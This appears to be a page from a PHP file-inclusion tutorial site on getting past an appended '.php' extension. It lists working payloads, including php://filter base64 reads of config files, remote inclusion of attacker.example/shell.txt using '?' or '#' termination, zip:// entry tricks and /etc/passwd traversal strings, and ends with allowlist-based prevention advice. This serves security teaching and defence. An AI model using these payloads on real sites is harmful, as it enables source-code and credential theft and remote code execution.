Extension Append Bypasses
include($page . '.php') is the most common shape of this bug, and the two famous bypasses for it both died in 2010. Here is what is actually left.
The constraint
include($_GET['page'] . '.php');
This is extremely common, because from the developer's point of view it is a tidy way to let ?page=about mean about.php. It is not a security control and was not intended as one, but it constrains you all the same: you can only reach files whose names end in .php.
The two bypasses everyone knows — the null byte and path truncation — were both fixed in PHP 5.3.4, December 2010. Everything else on this page is what remains, and the honest summary is that against a modern PHP this constraint mostly holds.
The two dead ones
# Null byte truncation. PHP passed the string to a C API that stopped at the
# first null, so the appended .php was never seen.
../../../../etc/passwd%00
-> DEAD. Fixed in PHP 5.3.4 (Dec 2010). PHP 8 raises a ValueError.
# Path truncation. PHP silently truncated paths past PATH_MAX (4096), and
# trailing ./ sequences are no-ops during resolution, so padding pushed the
# .php off the end.
../../../../etc/passwd/././././././… (x ~2000)
../../../../etc/passwd\.\.\.\.\.…
-> DEAD. Same fix, same release.
# Both are still the first suggestion in most material on this topic, which
# is the single clearest illustration of why this site exists.
#
# Worth one request against a genuinely ancient appliance on PHP 5.2.
# Not worth one against anything supported.What still works
# 1. Just target a .php file. The constraint is only a problem if you wanted
# something else — and the file you most want IS a .php file.
?page=php://filter/convert.base64-encode/resource=config
-> resource=config.php ... wait, no: the .php is appended to the WHOLE
string, giving resource=config + '.php'. Which is exactly right.
This works, and it is the most useful entry on this list.
# 2. Query-string termination — REMOTE targets only. The appended suffix
# becomes part of the query string of YOUR url.
?page=http://attacker.example/shell.txt?
-> http://attacker.example/shell.txt?.php (your server ignores ?.php)
# 3. Fragment termination — remote only. Your server never sees it.
?page=http://attacker.example/shell.txt%23
-> http://attacker.example/shell.txt#.php
# 4. Name the archive entry so the suffix completes it.
?page=zip://./uploads/avatar.jpg%23shell
-> entry 'shell' + '.php' = shell.php
# 5. Directory traversal INTO a .php file you control the contents of.
# Log and session poisoning both fail here (logs are not .php), but an
# uploaded file named shell.php.jpg does not help either — the suffix
# goes on the end, not the middle.The php://filter case is the important one
It is worth spelling out because it inverts the usual reading of this constraint.
The suffix is appended to the entire parameter, so:
?page=php://filter/convert.base64-encode/resource=config
becomes
php://filter/convert.base64-encode/resource=config.php
which is exactly the file you wanted. An appended .php is helpful here, not obstructive — you drop the extension from your payload and the application adds it back.
The same trick works for any .php target: resource=../config, resource=includes/db, resource=index.
Where it does not work is a filter chain, because the chain ends in resource=php://temp and appending .php gives php://temp.php, which is not a valid resource. This is one of the more common reasons a chain silently returns nothing, and it is the second thing to check after input position.
Variants of the pattern
Confirming a suffix is appended
You cannot see the source, so infer it from the errors.
Read the error message. failed to open stream: No such file or directory in /var/www/html/index.php is usually preceded by the full attempted path, which shows the suffix directly. One request.
Compare two requests. ?page=/etc/passwd and ?page=/etc/passwd.php producing the same error means the suffix is being added to the first. Different errors mean it is not.
Use a file you know exists. ?page=/etc/passwd failing while ?page=/etc/host succeeds would tell you the suffix is .conf — contrived, but the principle generalises: find a file whose name plus the suffix exists.
Read the source. If php://filter is available, one request settles it and tells you the prefix as well. This is why the methodology puts a source read before bypass hunting.
Prevention
Appending an extension is not a security control and should not be described as one in a report or a fix.
It narrows what an attacker can reach, which is worth something, but as shown above it also makes the single most useful payload — a php://filter source read — shorter. It is not on the side of the defender in any consistent way.
The fix is the same as everywhere on this site: map the parameter through an allowlist so it stops being a path. See Defense in Depth, and note that if you are going to append a fixed extension anyway, you have already accepted that the set of valid values is finite — which means an allowlist costs you nothing you were not already paying.
Related
include() executes PHP instead of showing it to you. Base64-encode the stream first and it comes back as data — the single most useful request in a PHP inclusion engagement.
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.
Every encoding here targets a filter that inspects the input string. None of them targets path resolution, because resolution cannot be fooled by spelling.
An allowlist is the correct fix, so most of them are not really allowlists. Here is how to tell, and what a prefix does and does not stop.
The technique that needs no configuration, no flag, and no version. Nothing in any php.ini stops it, which is why every live finding in 2026 starts here.